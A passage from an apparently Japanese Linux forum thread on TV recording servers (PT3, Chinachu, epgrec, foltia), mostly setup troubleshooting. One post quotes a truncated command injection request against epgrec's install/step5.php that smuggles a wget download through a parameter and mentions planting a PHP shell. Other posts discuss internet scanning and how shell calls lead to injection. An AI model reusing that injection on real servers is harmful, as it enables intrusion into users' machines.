必要なときにファンを回すセミファンレス録画Linuxボックスつくろうとしてるんだけど、PWMって0にしてもファン回るんだな。。。

117 :login:Penguin:2014/02/01(土) 23:43:46.51 ID:d3dr2fbV.net
>>114
うちのCoCoonは何度イラネって教えても機関車トーマスを録画し続ける頭の悪い子だった

118 :login:Penguin:2014/02/02(日) 00:17:10.76 ID:xlHkEz8y.net
foltiaやchinachuで録画もEPGしない時にスリープする方法ってないですかね

MythTVなら出来るんだろうけど。。。

119 :login:Penguin:2014/02/02(日) 02:00:00.14 ID:wqU5y5wI.net
>>114
メモリが6Gでは厳しくないですか?
X使わないで完全にコンソールだけにして、録画指定や閲覧を別の機械でやるなら別ですが、せめて8G、可能なら16Gと複数のSATAカード。

120 :login:Penguin:2014/02/02(日) 02:01:22.15 ID:wqU5y5wI.net
>>118
今の0.27って、デフォルトでISDBやb25に対応してるんでしょうか?

121 :login:Penguin:2014/02/02(日) 12:38:43.03 ID:RTDy2sGM.net
PT3の録画って1chあたりそんなにメモリ使ったっけ?

122 :login:Penguin:2014/02/02(日) 14:06:23.90 ID:m5crfpkM.net
1chで32Mぐらいでも×16だからそれなりに
でも他をひっくるめても TX100の標準搭載2Gで事足りると思うよ

+4Gは dual channelにするためじゃない?

123 :109:2014/02/02(日) 16:37:47.95 ID:Vc/fJlI3.net
グラフィカル環境は使わず、sshと緊急用シリアルコンソールでアクセスします。
簡単な指令はCGI経由でも出来るように細工。赤外線リモコン的に。

topとiotopの状況をうpしてみました。
top → http://pc.gban.jp/?p=58203.png
iotop → http://pc.gban.jp/?p=58202.png

recpt1とsplitを1組にしても、実メモリで2MB弱くらいかな。
httpdが出てくるのは、BSプレミアムをリアルタイム視聴しているから。
6GB積んだのは、HDDへの書き込みがブロックされたときの受け皿として考えてました。
自作はやらないのでデュアルチャネルは知らなかったよ。
I/Oは双方向で100MB/sいかないです。SATAの理論値が600MB/sだから余裕あると思う。

124 :login:Penguin:2014/02/02(日) 19:12:00.13 ID:Nh3ytFx1.net
>自作はやらないのでデュアルチャネルは知らなかったよ。
念のため言っとく
デュアルチャネルはメモリの位置が決まっているからもともと付いてるメモリから1つ空けて増設しないと有効にならないよ

125 :login:Penguin:2014/02/07(金) 01:41:49.16 ID:Q8NWRqJT.net
avconv なんだ更新するたびに option 関係が変わってる気がする

126 :login:Penguin:2014/02/07(金) 23:01:05.71 ID:s6ESi565.net
chinachuはついにtimelineからtimetableへと脱皮するのか

127 :login:Penguin:2014/02/08(土) 00:56:16.77 ID:CrqQxodq.net
avconvはドキュメンテーションされてないオプションあったりするな。

128 :login:Penguin:2014/02/08(土) 10:51:14.45 ID:KO4LgFeI.net
ffmpegと内ゲバした顛末がこれかよ

129 :login:Penguin:2014/02/08(土) 11:21:25.63 ID:FjF3FGiP.net
素人はとりあえずffmpegを使い続けてればいいのかね
avconvとの差分って何

130 :login:Penguin:2014/02/08(土) 13:14:12.56 ID:Y2+EZnPP.net
動画・音声関係ソフトウェア総合 8
http://engawa.2ch.net/test/read.cgi/linux/1339817036/

131 :login:Penguin:2014/02/09(日) 03:35:04.74 ID:aY18TYtp.net
Chinachu の x264 は yasm 切ってるけど、コレ有効にしたら
avconv の -preset をもうちょっといいのにできそうなんだよなー。
yasm の最新も入れるのが必須になっちゃうけど。

132 :login:Penguin:2014/02/09(日) 13:41:36.64 ID:qTc/AZEn.net
>>126
いつ?

133 :login:Penguin:2014/02/09(日) 21:45:33.88 ID:bI564kSH.net
>>132
今日からです。

134 :login:Penguin:2014/02/10(月) 02:48:36.85 ID:czJY8syy.net
chinachuのこれはそのうち1パージの表示局数とか
放送波別とかの設定できるようになるのかな

135 :login:Penguin:2014/02/10(月) 16:07:42.71 ID:IpV5fiCU.net
epgrec UNAをインストールしたんだが、DBに鬼のようにインデックスが付いててびびった。

136 : 忍法帖【Lv=6,xxxP】(1+0:8) :2014/02/11(火) 09:07:58.44 ID:bawlrzaV.net
program_type_idxみたいに2,3種類のレコードしか格納しないインデックスは
明らかに無駄ってわかるんだけど、
SQLもepgrecの内部処理もよく知らないから、他のインデックスが消せない

137 :login:Penguin:2014/02/11(火) 09:58:48.61 ID:egL7n+lY.net
たくさんあってもそこまで害があるわけでもなかろう。
#見てないが。

138 :login:Penguin:2014/02/13(木) 00:47:44.53 ID:OWFEHq+1.net
EPGの更新に時間がかかる可能性がある。
番組タイトルや番組説明なんかのテキストデータにBTreeインデックス付けてなんかいいことあんのか。

139 :login:Penguin:2014/02/13(木) 02:25:42.25 ID:mNmXCNpp.net
>>138
0.1秒もかからないことを気にしてどうする?

140 :login:Penguin:2014/02/13(木) 04:19:52.04 ID:BY6ts/hW.net
>>139
お義父さん、ぼくに0.1秒をください!

141 :login:Penguin:2014/02/13(木) 04:43:33.77 ID:hHB/yirp.net
大丈夫、0.1秒あれば余裕で射精出来ます!

142 :login:Penguin:2014/02/13(木) 04:44:38.87 ID:K07wb9hX.net
>>138
検証もせずに実際に起きてすらいない可能性でイチャモンつけるとか誰得だよ

143 : 忍法帖【Lv=7,xxxP】(1+0:8) :2014/02/13(木) 07:25:04.67 ID:AXuG/mf1.net
BTREEは先頭一致だっけ?
番組内容を先頭一致で検索するケースが思い当たらないっていうことじゃないの

144 :login:Penguin:2014/02/14(金) 00:46:30.61 ID:Uza1DMhE.net
番組名なんかはFULLTEXTのが良さそうだよな

145 :login:Penguin:2014/02/17(月) 18:26:16.40 ID:g5IJEgf6.net
録画予約の30分前に起動するようにwakealarmをセットしてpm-suspendしてたら、
レジューム後最初に走るatジョブだけ10数分遅れて起動しましたが、こういうことってあるんでしょうか。
ほぼ同時刻に走るEPG取得用のcronは遅れておらず、pt3ドライバが吐くログを見ても
cronジョブがデバイスを使い始めてから10数分遅れで2つ受信機を使うようになっていたので
時計が遅れていたわけではないみたいです。

146 :login:Penguin:2014/02/17(月) 21:40:08.68 ID:x4xLbro0.net
シャットダウンからのatが使えるなら、それを推奨したい
俺の環境ではサスペンドだと録画すらこけることがあった

147 :login:Penguin:2014/02/18(火) 12:32:43.23 ID:3dtpVmXQ.net
レジューム後は負荷が上がってるからatdがジョブを実行しないってだけじゃないの?
atd -l のデフォルトは0.8みたいだ

148 :145:2014/02/18(火) 18:27:56.07 ID:VqePyZ1F.net
wakealarmはジョブの30分前だったし、muninのログでもロードアベレージは0.2ぐらいでした

149 :login:Penguin:2014/02/18(火) 19:41:26.60 ID:+hnywknP.net
>>146
横から失礼
具体的にはどうやるの?

150 :145:2014/02/19(水) 18:28:35.09 ID:cEyZ7sjX.net
やっぱりatが遅れるのでレジューム後にatdを再起動するように設定した。
いまのところうまくいってる。
ソースをちょっと見たところどうもatdはsleep(次のジョブの開始時刻-現在時刻)してるみたいだ。

151 :login:Penguin:2014/02/19(水) 19:22:45.92 ID:EyPpc4oU.net
CentOS6.5 64bitにrecpt1のhttp版導入したんだが、
VLCとかBonDriver_HTTPで接続すると、
getnameinfo(): Temporary failure in name resolution
て出た

/etc/hostsファイルに
見る方のクライアントPCのアドレスとホスト名調べて
192.168.0.1 www.hoge.co.jp
みたいに追加したら解決した

超初心者の自分が苦しんでたところです。
ググっても出ないんで質問する寸前に解決しました。
LAN内での名前解決とかよくわからないです。

152 :login:Penguin:2014/02/19(水) 23:17:32.23 ID:EyPpc4oU.net
http://orebibou.blogspot.jp/2013/10/centoschinachu.html
ここを参考にCentos6.5 64機にChinachu導入させていただいたんですけど、

クライアント側のPCのIEのアドレスに
http://<サーバのIPアドレス>:10772
入れても接続できません。

また
サーバ側でFirefoxで
http://127.0.0.1:10772
でも接続できないです。

サーバのファイアーウォールで10772のtcpとudp、www80/tcpを許可しても、
SELinux切ってもダメでした。

何か情報ご存じのかたいらっしゃらないでしょうか。
Apacheはインストールしてません。
必要でしょうか。

153 :login:Penguin:2014/02/20(木) 07:59:27.07 ID:lUj9R7ni.net
>>152
接続できないというのをもう少し詳しく。IEやfirefoxに表示されるメッセージは?

あとちゃんとサービスは起動してる? コマンドラインで
$ ps aux | grep chinachu
して、chinachu-operatorとchinachu-wuiがあるか確認するといい

154 :Penguin:2014/02/20(木) 09:50:05.66 ID:wz2W7nUx.net
>>152
俺がハマったのと同じ原因なら、IPv6を有効にするか、config.jsonの
"wuiHost" : "::",
の"::"はIPv6の表記だから
"wuiHost" : "0.0.0.0",
に変更すればいいはず。

155 :152:2014/02/20(木) 12:08:04.52 ID:GZ2YG9Oc.net
>>153
>>154

返信ありがとうございます。
おっしゃる通りサービスが起動してませんでした。

$ sudo service chinachu-operator start
として、
Starting chinachu-operator: OK.
と表示され、サービス起動しても、

$ ps aux | grep chinachu
でも見つからず、

$ sudo service chinachu-operator status
chinachu-operator is dead but /var/run/chinachu-operator.pid exists.
と表示され、サービスは止まってしまっているようです。

もう一度インストールから全部見直したいと考えております。

156 :152:2014/02/20(木) 12:54:53.67 ID:GZ2YG9Oc.net
解決いたしました。
みなさんありがとうございました。

・やったこと
http://orebibou.blogspot.jp/2013/10/centoschinachu.html
このサイトを参考に導入していったのですが、うまくいきませんでした。

このサイトではchinachuの実行ユーザーを作り、スイッチした後、またrootに戻って、
その後の処理が全部rootで実行されているようです。

そこで公式の手順
https://github.com/kanreisa/Chinachu/wiki/Installation
と同じくchinachuからsudoして導入しなおすことにしました。

環境をもとに戻すため、chinachu-operatorとwuiを
chkconfigのdelオプションでサービスから削除しました。

次に/etc/init.d/のchinachu-operatorとwuiをrmで削除
最後にインストールしたChinachuをrmのrオプションで削除

そしてまずchinachuでsudoを使えるように、
chinachuにpasswdでパスワードを設定し
visudoコマンドで/etc/sudoersファイルを編集します。(このときsudoersのパスはいらない)
root ALL=(ALL) ALLの下に
chinachu ALL=(ALL) ALLを追加しました。

そして先ほどの導入案内のサイトのコマンドにすべてsudoをつけて実行したところ
うまくサービスも動き、
http://<サーバのIPアドレス>:10772
にもアクセスできました。

長文失礼しました。これから導入する人の参考になればいいかと思います。

157 :login:Penguin:2014/02/20(木) 12:58:46.25 ID:wz2W7nUx.net
>>155
chinachu/log/配下のログは見てないの?
それとWebサービスはoperatorではなくwuiのほう。
まあ、operatorのプロセスも動いてないようだからそっちも問題だが。

158 :login:Penguin:2014/02/20(木) 14:07:15.88 ID:+y/xeKBp.net
そのブログとブログ内の参考ってサイトの通りにやって導入問題なかったけど、どっかで手順間違えたんでね?

159 :login:Penguin:2014/02/20(木) 15:00:16.69 ID:GZ2YG9Oc.net
>>157
はい、wuiの方も動いていませんでした

>>158
よく考えたらそうですね
sudoはrootで実行してるのと変わらないはずですよね
導入サイトの人、申し訳ない


サービスは実行できたんですが、今度はEPGが取得できないです

# ./chinachu update -f
20 Feb 14:51:30 - GETTING EPG.
20 Feb 14:51:30 - STATUS: { completed: 0, waiting: 9, worked: 0, running: 0 }
ですぐに終了してしまいます

recpt1はSTZ版使ってます。
recpt1 --device /dev/pt3video2 --b25 --strip --sid SID1 27 100 testrecpt1.ts

できちんとNHKを100秒間録画もできてます

いろいろ試して解決できたらここに報告しようと思います

160 :login:Penguin:2014/02/20(木) 15:05:16.07 ID:pKSigAZH.net
あなたの間違えの報告はいらないと思います

161 :login:Penguin:2014/02/20(木) 15:18:27.24 ID:RVeYELjK.net
最後まで報告してくれたら、人の失敗って初心者には有り難い

162 :login:Penguin:2014/02/20(木) 15:24:19.88 ID:OLMILZAm.net
今現在の試行錯誤の経緯は悪くはないと思う。

オープンソース系の過去記事って
その時々の関連ソフトのバージョンに依存することが多く、
Liveでは役に立たない場合もあるから

163 :login:Penguin:2014/02/20(木) 15:28:13.89 ID:wz2W7nUx.net
>>159
config.jsonで不要なtunersエントリとchannelsエントリは消した?
> 注意: chinachu-operatorはConfigurationを完了させてから起動してください
これに従ってれば出来てるはずだけど^^;

164 :login:Penguin:2014/02/20(木) 16:26:40.96 ID:GZ2YG9Oc.net
>>163
{
:(省略)
"tuners": [
{
"name" : "PT3-T1",
"isScrambling": false,
"types" : [ "GR" ],
"command" : "recpt1 --device /dev/pt3video2 --b25 --strip --sid <sid> <channel> - -"
}
],

"channels": [
{ "type": "GR", "channel": "27"}
]
}
こんな感じでチューナー地上波1つだけ、チャンネルNHKだけにしてもダメでした。

165 :login:Penguin:2014/02/20(木) 16:32:00.93 ID:wz2W7nUx.net
>>164
チューナーのlockファイルが作成されたままとか
chinachu/data/tuner.*.lock
手動で削除するか、chinachu unlock

166 :login:Penguin:2014/02/20(木) 16:41:20.80 ID:GZ2YG9Oc.net
>>165
ありがとうございます。
できました。

あからさまにいろんなサイトに書いてあったのにPT2のことだろうと高をくくってたのが間違いでした。

親切に何度もアドバイスしていただいてありがとうございました。

167 :login:Penguin:2014/02/20(木) 16:58:33.11 ID:GZ2YG9Oc.net
サービス開始する前に、
config.jsonの編集しないと、デバイスIDがロックしてしまうのは、PT3も例外じゃなくて、
config.sample.jsonにはtunerのところにPT3のほかにFSUSB2も入っているので、
PT3を使っていてもロックしてしまうのか・・・
しかも一度ロックしたらアンロックしないと再起動等しても二度と元に戻らないのか

168 :login:Penguin:2014/02/20(木) 17:01:34.16 ID:BeqqS/T9.net
>>150
随分前に報告されて修正済のはずのバグで同じようなのがあるね

Bug 592349 - atd jobs are executed delayed after wakeup from suspend-to-RAM
https://bugzilla.novell.com/show_bug.cgi?id=592349

regressionなら上流に報告した方がいいような気がする

169 :login:Penguin:2014/02/20(木) 21:02:26.01 ID:nD5gcWj8.net
>> 150

同様の症状に悩まされたので,レジューム後にrebootして対応してた.
atdを再起動する方がスマートなのでやってみたらうまくいった.
S4からしか復帰できないマシンではこの方法が有効みたいだね.
ありがとう.

170 :login:Penguin:2014/02/22(土) 12:29:19.50 ID:Z4whPa0g.net
最近epgrecだけじゃなくて一緒にfoltiaもスキャンしていくようになったね

171 :login:Penguin:2014/02/22(土) 12:42:11.02 ID:M9IcI01h.net
foltiaもなんか穴あるのかね?

172 :login:Penguin:2014/02/22(土) 13:28:44.21 ID:KWgA+Zib.net
epgrecを公開しているサーバをどうやって見つけてるんだ?

173 :login:Penguin:2014/02/22(土) 13:49:16.40 ID:/1QUgAaD.net
まあWUIがあるやつは基本、丸見えだからw
もちろんwindowsのアプリもだよ

そういえばchinachuは被害でてるのかな?
自身に認証機能があるから大丈夫なんだろうか

>>172
日本のIP総当り

174 :login:Penguin:2014/02/22(土) 14:30:39.48 ID:RImL/fUz.net
この界隈でおまんちん系に引っかかったIPを総当たりならさらに効率的かな
エラーレスポンスの内容やラグの差異だけで鯖種別は高精度にバレるらしい
>>173
chinachuはnode.jsに乗っかってssl通信だから
node.jsの堅牢性(実績はほとんどないが…)次第だな

175 :login:Penguin:2014/02/22(土) 14:38:08.55 ID:NLDbFnE2.net
$ recpt1 --b25 --sid=101 101 101 - | gst-launch-1.0 fdsrc ! decodebin ! \
videoparse format=i420 width=1920 height=1080 framerate=30/1 ! vaapiencode_h264 ! \
qtmux ! filesink location=test.mp4

動いたよー。
ivy なんだけど動かない人はCeleronな人です。
ivy Core i3 IHYしてきたよー。

176 :login:Penguin:2014/02/23(日) 00:38:59.94 ID:V9AtILcR.net
foltiaも内部処理はPerl使ってるけどフロントにPHP使ってるから
外部公開してるなら脆弱性突かれたりするかもね
(…そもそも外部公開するのが間違いだが)

177 :login:Penguin:2014/02/23(日) 00:58:24.22 ID:3O5p5FUo.net
録画データが狙われてんだから脆弱性なんて二の次だよ

178 :login:Penguin:2014/02/23(日) 01:20:55.22 ID:nMvAnbvA.net
今までも別にPHPの脆弱性突かれたわけじゃないでしょ?
OSコマンドインジェクションをPHPのせいみたいに書くのはどうかと思うな
アプリ側の実装が悪いせいなのにね

179 :login:Penguin:2014/02/23(日) 01:29:20.05 ID:3aa5Ap8T.net
いやいや、管理画面を絶賛公開中にするユーザーの問題だろ

180 :login:Penguin:2014/02/23(日) 01:41:20.28 ID:3O5p5FUo.net
「ユーザーの責任」で問題を直視しないからepgrecは狙われたんだけどね

181 :login:Penguin:2014/02/23(日) 01:55:40.23 ID:6jrWPz2S.net
>>179
epgrecは管理画面とか関係ないでしょ。
そもそも外部公開を考慮されてないから、外からでも実行ファイル改変が容易になってる。

182 :login:Penguin:2014/02/23(日) 02:48:59.38 ID:3aa5Ap8T.net
管理画面かインストーラで外部コマンドのパスを書き換えるんじゃないのか

183 :login:Penguin:2014/02/23(日) 09:20:57.42 ID:+vNxibz1.net
>>178
Linuxに脆弱性が無いので、PHPが悪いと思います。

184 :login:Penguin:2014/02/23(日) 11:05:28.28 ID:bGKyp/dp.net
>>183
論点ずれてるぞ

185 :login:Penguin:2014/02/23(日) 13:52:19.24 ID:2C0q49Oq.net
もしかして、しょぼい実装によっておきた脆弱性のことを指して
「PHPのせい」って言ってるのかな。
個人的には「PHPのせい」っていうと、処理系・実行環境の脆弱性を
指してるものだと感じるけどw

186 :login:Penguin:2014/02/23(日) 14:23:39.78 ID:kCy6btiQ.net
epgrec も foltia も chinachu もインターネット公開を前提としてない設計のような気が

ゴルフカートで一般道走って安全性に問題があると言われているようなもの

187 :login:Penguin:2014/02/23(日) 14:59:53.46 ID:6jrWPz2S.net
>>186
まあそういうことだ。
ただ、そういうことが分かんない層がLinuxを使い始めてるってことも現実なのかもしれない。
とすると、それなりに対応を取っておくほうがいいかもしれないとは思う。epgrecとかが叩かれないためにはね。
別に難しいことじゃない。
設定画面の最初に、「外部に直接公開されますので、認証をかけるか、ポートを遮断して下さい」と注意喚起しておくだけでいい。

188 :login:Penguin:2014/02/23(日) 15:15:02.01 ID:sw+Hz6p+.net
認証かけてても暗号化してない著作権のあるファイルをネット上で通信させたら問題
LANの外に出さないようにってしといたほうがいい
まぁそれ以前にLinuxでっていう問題って話もあるけど・・・

189 :login:Penguin:2014/02/23(日) 15:24:02.58 ID:6jrWPz2S.net
>>188
そりゃ違うだろ。
川の水を汲んで使っても問題にならなくても、ドアで区切られた私有地の池の水を汲んで使っちゃいけない。
ドアが頑丈かどうかは関係ない。

190 :login:Penguin:2014/02/23(日) 15:43:22.72 ID:5njkYWHQ.net
>設定画面の最初に、「外部に直接公開されますので、認証をかけるか、ポートを遮断して下さい」と注意喚起しておくだけでいい。
>>45-46みたいな事があるからセキュアじゃなきゃ使えないようにしなきゃね
著作物を扱うんだからユーザーをいろんな意味で信用しちゃダメだよ

191 :login:Penguin:2014/02/23(日) 15:50:36.65 ID:6jrWPz2S.net
そうだろうか?
TV録画したBlurayDiscを家の外の物置に置いておいて盗まれたら、置いた人間の責任だろうか?

192 :login:Penguin:2014/02/23(日) 16:26:49.42 ID:q+unEWQz.net
これって一体誰の為の議論なん?
ここでやるのすげー無意味じゃね

193 :login:Penguin:2014/02/23(日) 16:28:11.69 ID:rO/K4Cxj.net
まぁ話題もないしな平和な証拠。

194 :login:Penguin:2014/02/23(日) 23:25:27.36 ID:Li5CEq7v.net
そうだそうだ

195 :login:Penguin:2014/02/24(月) 00:11:48.32 ID:C0UU+8KH.net
OSコマンドインジェクションという言葉を初めて知ったわ
どうやったら実行できるんだろう(実際侵入例あるから、何らかのやり口があるのは理解してる)

196 :login:Penguin:2014/02/24(月) 01:01:45.38 ID:SvUiem2S.net
>>195
>>46

197 :login:Penguin:2014/02/24(月) 01:37:27.53 ID:C0UU+8KH.net
>>196
なるほど、みたとこ公開部分にありそうな.phpファイル適当に探して任意のコード実行してる感じか
PHPってこんなことできるんすね〜(ゲス顔)まあPerlも同じようなことできるか…
Javaだと頑張らないとこういうことはできんのだけど
対策としては外部から受け取ったコマンドを一度サニタイズしてやる必要がある感じですか

一発目でこのコマンド通ったら、あとは外部から操作するための a.php 置けばいじり放題ですな(wgetで置くのか)
GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home…

198 :login:Penguin:2014/02/24(月) 04:44:20.45 ID:pxOXDkec.net
すごくい今更ですが
Ubuntu13.10とIODATA GV-MVP/RX2使って
CATVパススルーで地上波観ようとしてるんですが
v4l2コマンドやivtv-tuneコマンドでひと通り設定して
mplayerで再生しても、砂嵐+ノイズ状態です。
何故か95MHz前後でNHK-FMが聴こえたり。

RX3/on Windowsではちゃんと映ってたので
電波は来てるはずなのですが。
解決方法ありませんでしょうか?

199 :login:Penguin:2014/02/24(月) 05:13:15.63 ID:OtskWUo5.net
東北の方ってまだアナログ電波出してたんだっけ?

200 :login:Penguin:2014/02/24(月) 06:48:30.79 ID:ncNxCeg6.net
デジアナ変換でしょ

周波数あってんならチューナー指定に問題あるんじゃね

201 :login:Penguin:2014/02/24(月) 08:47:51.35 ID:VBfVdpgK.net
>>133
ネタかと思ったらマジだった!
使い勝手良くなったね!

>>197
ttp://falconws.blogspot.jp/2014/01/epgrec.html

202 :login:Penguin:2014/02/24(月) 14:19:43.22 ID:uizzjhke.net
こんなときのSELinux

203 :login:Penguin:2014/02/24(月) 15:23:29.43 ID:gSmlv+nh.net
>>197
OSコマンドインジェクションは言語関係ないんだよ
どの言語で作ってようが、shellに値を渡す部分でサボってるとやられる

204 :login:Penguin:2014/02/24(月) 19:18:41.08 ID:2uCR+DkZ.net
流れを読まずに張るぜ
tsselect-linux をcentos32bit で使う場合はこうだ
改行多すぎって言われたので分けるぜ
@@ -1,3 +1,5 @@
+#define _LARGEFILE64_SOURCE
+#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@@ -6,10 +8,10 @@
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
+#include <unistd.h>

#define __int64 int64_t

-
typedef struct {

int pid;

205 :login:Penguin:2014/02/24(月) 19:19:22.81 ID:2uCR+DkZ.net
@@ -202,8 +204,8 @@
goto LAST;
}

- lseek64(fd, 0, SEEK_END);
- total = lseek64(fd, 0, SEEK_CUR);
+ total = lseek64(fd, 0, SEEK_END);
+ //total = lseek64(fd, 0, SEEK_CUR);
lseek64(fd, 0, SEEK_SET);

stat = (TS_STATUS *)calloc(8192, sizeof(TS_STATUS));
@@ -458,8 +460,8 @@
goto LAST;
}

- lseek64(sfd, 0, SEEK_END);
- total = lseek(sfd,0,SEEK_CUR);
+ total = lseek64(sfd, 0, SEEK_END);
+ //total = lseek64(sfd,0,SEEK_CUR);
lseek64(sfd, 0, SEEK_SET);

offset = 0;

206 :login:Penguin:2014/02/24(月) 21:34:15.10 ID:KckVOifo.net
Java で OS コマンドインジェクション起きにくいってのはわからなくはないなw
JVM 言語はその機能を JVM にわざわざ持ち込む(再実装する)文化が
ほか言語より強いので、他言語に比べるとシェルを経由する機会が少ない感じはある。

でも結局、Java で録画システム作るってなると、お手軽さからシェル経由する
実装になりそうだけど。

207 :175:2014/02/24(月) 22:06:42.05 ID:vr3QYziQ.net
>>175
空気を読まずに一人で続き。
音声含めてリアルタイムエンコードしたい場合はこんな感じ。

$ recpt1 --b25 --sid=101 101 101 - | gst-launch-1.0 fdsrc ! tsdemux name=d d. ! \
video/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! videoparse format=i420 width=1920 height=1080 framerate=30000/1001 ! \
vaapiencode_h264 ! m. d. ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-format=raw ! \
matroskamux name=m ! filesink location=test.mkv

で、これでエンコードしちゃうと動画と音声が同期しなくなる。0.3秒ぐらい音声と動画がズレる。
動画と音声ストリームのそれぞれきちんと頭出ししてからエンコードしてあげなければならない。
TSパーサはずいぶん前に書いた気がするんだけど、TSストリームでの頭出しできるコードを書きますかね。

208 :login:Penguin:2014/02/25(火) 00:05:22.37 ID:hKg2K+RL.net
>>198
GV-MVP/RX2Wならずいぶん昔にFedoraやCentOSでつかってたけど、
その頃はドライバにパッチあてて、/etc/modprobe.confに
option ivtv tuner=46 ntsc=j
だったか入れないとだめだったはず

とりあえず、
sudo rmmod ivtv
sudo modprobe ivtv tuner=46 ntsc=j
を実行してから、mplayerで再生するとどうなる?

209 :login:Penguin:2014/02/25(火) 00:54:24.07 ID:z9E+HSZQ.net
>>208
Ubuntuフォーラムにも投稿したんだけど
Ubuntu12.10にダウングレードしたら普通に使えました。
Ubuntu13.10だと、$ v4l2-ctl --list-standardsでNTSC-M-JPがどうしても出てこない。
それが原因っぽいです。

210 :login:Penguin:2014/02/25(火) 02:33:16.76 ID:2dHIcmc2.net
最初から一つ一つ丁寧に追っていかないと
かつて使ってた人だって環境も記憶もないところへ、新しいシステムへの対応とか
雲を掴むような話でしょ

211 :login:Penguin:2014/02/25(火) 14:22:37.06 ID:Rg/uwwO/.net
>>207
gstreamerって各バッファ(フレーム)にタイムスタンプ付けてるし
以前パッチ当てgstreamerでdvbbasebinをソースに使って(再muxのみの)テストした時はズレてなかったよ
recpt1からPMTやPCR渡ってるのかな
recpt1からそのまま全体で入力して tsparse program-numbers=xxx !.... とかだとPMTもPCRも渡るはず
それに videoparse format=... のエレメントって
mpeg2decがフレームフォーマットをバッファのcapsとしてくっつけてるはずだから不要なんではないか

212 :login:Penguin:2014/02/25(火) 21:49:55.99 ID:HOT2vkLs.net
>>206
> Java で OS コマンドインジェクション起きにくいってのはわからなくはないなw

「外部プロセス呼び出し」と「シェル経由で外部プロセス呼び出し」は別物だよ。
プロセスをopenしたりするときに"|"を使ってリダイレクトできる便利な方がシェル経由。

まず、OSコマンドインジェクションが言語関係ないというのは一応正しい。
確かにシェル経由で外部プロセス呼び出しを行っているならば言語は関係ない。
どの言語でも危険。注意して使わないといけない。

だけど違いはシェル経由ではない外部プロセス呼び出しにあって
こちらならOSコマンドインジェクションは発生しない
なのでなるべくシェル経由でない方を使った方がいいわけだがここで差が出てくる。

JavaだとLinuxで動かすとは限らないから、シェルの機能に依存しないように作る。
だからシェル経由でない外部プロセスを使うことのほうが多い。
故にOSコマンドインジェクションになりにくい。

そしてPHPはシェル経由ではない外部プロセス呼び出し機能がない。
この場合しっかりエスケープする必要があって、これを忘れるとOSコマンドインジェクションになる。
よってOSコマンドインジェクションになりやすい。

徳丸浩の日記 PHPだってシェル経由でないコマンド呼び出し機能が欲しい
http://blog.tokumaru.org/2013/12/php_21.html

213 :login:Penguin:2014/02/25(火) 22:24:57.75 ID:Xo6tXI3I.net
>>211
レスさんくす

recpt1からPMTやPCRは渡してますよ。でもズレる
tsparse program-number=999 ! でやってみましたが、これでもズレます。

videoparse format= のエレメントは付けないとパイプラインが動かないのです。
ERROR: pipeline doesn't want to preroll.
が出てしまう。
本来であれば不要なはずなのですかね。

214 :login:Penguin:2014/02/26(水) 12:41:23.14 ID:sR5FDHsu.net
gst-launch-1.0 filesrc location=foo.ts ! tsdemux program-number=298 name=d d.video ! \
video/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! theoraenc bitrate=1024 drop-frames=false ! m. \
d.audio ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-fromat=raw ! \
matroskamux streamable=true name=m ! filesink location=foo.mkv
だとズレてないね... (パッチ当てgstreamerでdefaultの"video","audio" srcpadを使ってるけど)

TVをLIVEで入力するとズレちゃうのか
(レイテンシの絡みで?)vaapiでエンコする時にタイムスタンプいじられちゃうのか

215 :login:Penguin:2014/02/26(水) 20:36:55.16 ID:mfb4M/ja.net
> 「外部プロセス呼び出し」と「シェル経由で外部プロセス呼び出し」は別物だよ。
それがわかってるならなぜ「外部プロセス呼び出し」の話を出したんだろう。
その前見ても外部プロセス呼び出しの話はしてないと思うんだが。

epgrec の件を見るに、PHP にも外部プロセス呼び出しほしいですね
っていう話だけなら、その通りだとは思うけど... なぜ俺のレスにつけたんだw

216 :login:Penguin:2014/02/27(木) 02:03:41.07 ID:9USAFaDw.net
chinachu をテスト機にインストールしてみた
なかなかイイね。
番組表も新聞形式になって、
直感的に使いやすい

でも録画番組の再生に関しては
今のところはPCのWebブラウザ操作を前提としてて、
スマホやタブレットではまともに再生できないような気がする

この辺りは流石に商用のfoltia ALの作り込みは良くできてる
スマホやタブレットからでも再生できるし
DLNAによるSTBやTVからの再生も
実用的に使いやすくなってる

chinachuの番組表、予約インターフェイスと
foltia ALの再生環境が組み合わされば最強と思えるが
使ってる技術が違いすぎて困難だよなぁ

217 :login:Penguin:2014/02/27(木) 07:43:29.01 ID:C1ptvHMZ.net
ちなちゅもfoltiaも知らんけどmp4の直リンぐらいで再生できんのけ?
おらのスマホはそれで見れるんだが。

218 :login:Penguin:2014/02/27(木) 08:25:11.85 ID:LgbQ+803.net
>>216
>スマホやタブレットではまともに再生できないような気がする

SMB共有かけてファイルブラウザから見るとか、miniDLNAとかTwonkyServerの類を突っ込めばええだけでね?

219 :login:Penguin:2014/02/27(木) 11:04:50.41 ID:9USAFaDw.net
>>217-218
chinachuはmp2tsをrecordedフォルダに格納していくだけなので
MPEG2 TSデータを直接再生できるスマホやタブレットじゃないとダメで
少なくともiOS機ではできない

単純に単一フォルダにファイルを置いていくだけだから
このフォルダをDLNAやSMBで公開しても、
最初は使えるけど、
録画ファイルが増えてくと、
探すのが大変になるし、
DLNAの場合はリスト表示に時間がかかるようになる

foltia ALは録画後に携帯端末で再生できるmp4にエンコしてくれるし、
DLNAやSMBで再生しやすいように
日付やタイトル毎に階層構造で表示するので
ストレスなく使えるようになってる

foltia ALは中のスクリプトはゴチャゴチャだけど
ユーザ視点で使いやすい再生環境にはなってる

220 :login:Penguin:2014/02/27(木) 11:35:33.49 ID:chvQqe4c.net
iPhone版VLCを使えば再生できる

221 :login:Penguin:2014/02/27(木) 11:36:59.47 ID:chvQqe4c.net
iOS版だった

222 :login:Penguin:2014/03/02(日) 10:26:08.52 ID:OLjNztd+.net
ザオリク

223 :login:Penguin:2014/03/02(日) 11:28:19.19 ID:QiErUlUU.net
nPlayerでも見えるな

224 :login:Penguin:2014/03/02(日) 13:51:41.92 ID:QOjDZ+Bt.net
おかえり

225 :login:Penguin:2014/03/02(日) 15:59:41.10 ID:lGTJnogs.net
epgrecUNAをちょっといじろうと思ってソース見てみたけどとんでもなくカオスだった。
